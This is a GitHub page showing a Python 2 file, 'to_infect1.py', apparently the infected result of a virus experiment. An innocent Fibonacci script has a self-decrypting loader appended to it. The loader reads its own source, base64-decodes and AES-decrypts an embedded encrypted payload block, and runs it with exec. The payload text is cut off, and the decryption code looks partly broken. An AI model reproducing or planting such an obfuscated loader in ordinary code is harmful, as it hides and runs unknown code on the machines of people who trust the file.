-
Notifications
You must be signed in to change notification settings - Fork 19
/
Copy pathto_infect1.py
executable file
·51 lines (42 loc) · 3.79 KB
/
to_infect1.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
parents, babies = (1, 1)
while babies < 100:
print 'This generation has {0} babies'.format(babies)
parents, babies = (babies, parents + babies)
######################################################## First script python
# coding=utf-8
# Start Unencrypted
import os
import __main__
import base64
import sys
import StringIO
from Crypto import Random
from Crypto.Cipher import AES
# Decryption function
def decrypt(data):
this = open(__main__.__file__, 'r')
data = base64.b64decode(data);
iv = Random.new().read(AES.block_size)
cipher = AES.new(StringIO.StringIO(this).read(24), AES.MODE_CFB, iv)
this.close()
return cipher.decrypt(data)[16:]
# Gets the virus file
this = open(__main__.__file__, 'r')
copy = False
cipher_payload = ''
for line in this:
if line.strip() == '# Start payload':
copy = True
elif line.strip() == '# End payload':
copy = False
elif copy:
cipher_payload = cipher_payload + line
e = decrypt(cipher_payload[1:])
#e = encrypt(cipher_payload)
#print e
exec e
sys.exit('Good job!')
# End Unencrypted
# Start payload
#cG4UFL1qKH86wYZ8KAhrGX7IGFACqvpubiGg0RTZD+mwfjA+bioYWrhL164LjD1bIdZwfkyQhBqu/kCtw+ic/tdX8RWP/38q4nWRgeWxxtBy4omjPK37qtRE1ibdyWARygUpx9tDZWQjzVtSZnBIaOuQ2F/pc/DdOzrHcm+bF7Vn/wSEDZqq/sWO3jkAXpoo+yFI4PwqooaJJsG1vXUEDJQ0MZbqeNhpsh7nn+oyXb1SrSwRyquZqPT3PdOYAGIFyzZ8/MhROVbsugNtSNaYUKTtpLJfzHKvlNXVwGOoUgXCb5tPovqEiVlnirMDlV7j+ZlaEZ/MOBhOgpVWnBuQrLmZUvVVsyTzLUoe43x0U71G9OzK4/3tFkHTyZvM4lCrXtSbYwoKLNuHA9thUuApjyzmCtUNEfI47uiljZXAFa+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